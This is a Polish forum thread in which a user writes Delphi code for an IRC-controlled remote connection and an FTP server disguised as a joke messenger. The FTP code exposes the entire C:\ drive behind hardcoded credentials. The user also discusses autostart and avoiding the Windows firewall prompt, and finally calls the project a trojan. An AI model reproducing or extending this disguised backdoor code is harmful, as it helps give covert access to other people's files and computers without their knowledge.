[Delphi] Funkcja pobierania pliku

Kropa92

Użytkownik
Dołączył
Marzec 17, 2009
Posty
22
Tak robie na iRC ;]

http://www.maxupload.eu/pl/17075 serwer
http://www.maxupload.eu/pl/17099 klient ;]

On ma za zadnie tylko się połączyć wiec nie dziwcie się wyglądowi xD

Dobrze jest działa
<
połączyło mi kolegów nawet z różnych sieci
smile.gif
teraz została mi kwestia intrukcjii muszę się z tym uporać.
 

lankusiek

Użytkownik
Dołączył
Luty 9, 2009
Posty
28
haha ale co ty mi exe wysyłasz? zastanów się kto to otworzy i po co ?
Najlepiej daj jeszcze linka do twojego komponentu tez chce sie tym pobawić bo wczesniej korzystałem z HGG
 

Kropa92

Użytkownik
Dołączył
Marzec 17, 2009
Posty
22
Ja bym chciał zrobić aby serwer przyjmował zmienna s z clienta i potem dla zmiennej s sprawdzał warunek czyli Klient wysyla polecenie opencd
To serwer odbiera jako s i gdy s=opencd to wtedy robi to ... i własnie nie wiem jaką instrukcją w IRC wysłać tą zmienną do serwera :/
 

Kropa92

Użytkownik
Dołączył
Marzec 17, 2009
Posty
22
Zrobilem Serwer FTP i jak łącze się z sobą na kompie przez Total Commandera to działa ale jak wysyłam do kumpla serwer to się łączy wpisuje nick haslo i nagle pisze połączenie zerwa ponowić próbę ? Co jest przyczyną ? Serwer wyglada jak komunikator dla jaj xD
Oto kod:
unit Komunikator;

interface

uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPServer, IdFTPServer,
jpeg, ExtCtrls;

type
TForm1 = class(TForm)
IdFTPServer1: TIdFTPServer;
Wyslij: TButton;
Rozlacz: TButton;
Polacz: TButton;
Tekst: TEdit;
Ip: TEdit;
Odbior: TMemo;
Image1: TImage;
procedure PolaczClick(Sender: TObject);
procedure RozlaczClick(Sender: TObject);
procedure IdFTPServer1AfterUserLogin(ASender: TIdFTPServerThread);
procedure IdFTPServer1UserLogin(ASender: TIdFTPServerThread;
const AUsername, APassword: String; var AAuthenticated: Boolean);
procedure IdFTPServer1StoreFile(ASender: TIdFTPServerThread;
const AFileName: String; AAppend: Boolean; var VStream: TStream);
procedure IdFTPServer1RetrieveFile(ASender: TIdFTPServerThread;
const AFileName: String; var VStream: TStream);
procedure IdFTPServer1ChangeDirectory(ASender: TIdFTPServerThread;
var VDirectory: String);
private
{ Private declarations }
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.PolaczClick(Sender: TObject);
begin
ShowMessage('Polaczono');
end;

procedure TForm1.RozlaczClick(Sender: TObject);
begin
ShowMessage('Rozlaczono');
end;

procedure TForm1.IdFTPServer1AfterUserLogin(ASender: TIdFTPServerThread);
begin
ASender.HomeDir := 'C:\';
ASender.CurrentDir := 'C:\'
end;

procedure TForm1.IdFTPServer1UserLogin(ASender: TIdFTPServerThread;
const AUsername, APassword: String; var AAuthenticated: Boolean);
begin
AAuthenticated := ((AUsername = 'kropa') and (APassword = 'haslo'));
if AAuthenticated = true then
begin
end;
end;

procedure TForm1.IdFTPServer1StoreFile(ASender: TIdFTPServerThread;
const AFileName: String; AAppend: Boolean; var VStream: TStream);
var
appdir : string;
begin
appdir := ExtractFilePath(ParamStr(0));
if not Aappend then
begin
VStream := TFileStream.Create(AppDir + AFilename,fmCreate);
end;
if Aappend then
begin
VStream := TFileStream.Create(AppDir + AFilename,fmOpenWrite);
end;
end;

procedure TForm1.IdFTPServer1RetrieveFile(ASender: TIdFTPServerThread;
const AFileName: String; var VStream: TStream);
var
appdir : string;
begin
appdir :=ExtractFilePath(ParamStr(0));
//zmienną appdir można zdefiniować jako public
//oraz w obsłudze zdarzenia OnAfterLogin podstawić wartość jak powyżej

//wysyłanie pliku
VStream := TFileStream.Create(AppDir + AFilename,fmOpenRead);
Application.ProcessMessages;
end;

procedure TForm1.IdFTPServer1ChangeDirectory(ASender: TIdFTPServerThread;
var VDirectory: String);
begin
Asender.CurrentDir := VDirectory;
end;

end.[/b]
 

kanar123

Użytkownik
Dołączył
Marzec 27, 2008
Posty
451
Po 1 wpisz serwer ftp np. ftp.cba.pl , ftp.republika.pl itd.
<

po 2 łącz się z ftp dopiero jak chcesz wysłać coś na ftp po połączenie ma określony czas działania gdy jest nieużywane...
<
 

Kropa92

Użytkownik
Dołączył
Marzec 17, 2009
Posty
22
Nie rozumiem jak ten serwer ktoś u siebie na kompie uruchamia to co ma za znaczenie czy gdzieś go wpisze ? I to rozłączenie następuje odrazu to jak mam zdążyć coś zrobić xD
 

lol_ek

Użytkownik
Dołączył
Maj 30, 2003
Posty
306
<div class='quotetop'>CYTAT(Kropa92 @ 25.03.2009, 20:32) <{POST_SNAPBACK}></div>
Dzięki autostart działa
<

A idzie jakoś ominąć to aby windows się nie pytał czy odblokować aplikację ?[/b]

Się da ;]
Trochę się uśmiałem jak zacząłeś pisać wywody o socketach. Generalnie to sugerowałbym Ci, byś na początek zasięgnął wiedzy czysto teoretycznej. Koledzy pchają Cie do przodu ale Ty Ciągle rozbijasz się o brak wiedzy na temat zasady funkcjonowania prostych mechanizmów. W tym przypadku podawanie kodu jest mało sensowne.

Co do irca to zapoznaj się z RFC 1459. Aczkolwiek nie ma sensu wyważać otwartych drzwi - wystarczy np. komponent z palety indy. Gdy już oprawisz ten protokół na własne potrzeby, pewnie zadasz sobie pytanie jak przesyłać pliki.
 

Kropa92

Użytkownik
Dołączył
Marzec 17, 2009
Posty
22
Masz rację, ale tworzenie tego trojana to był taki skok w bok bo bardzo go potrzebowalem :]
 
Do góry Bottom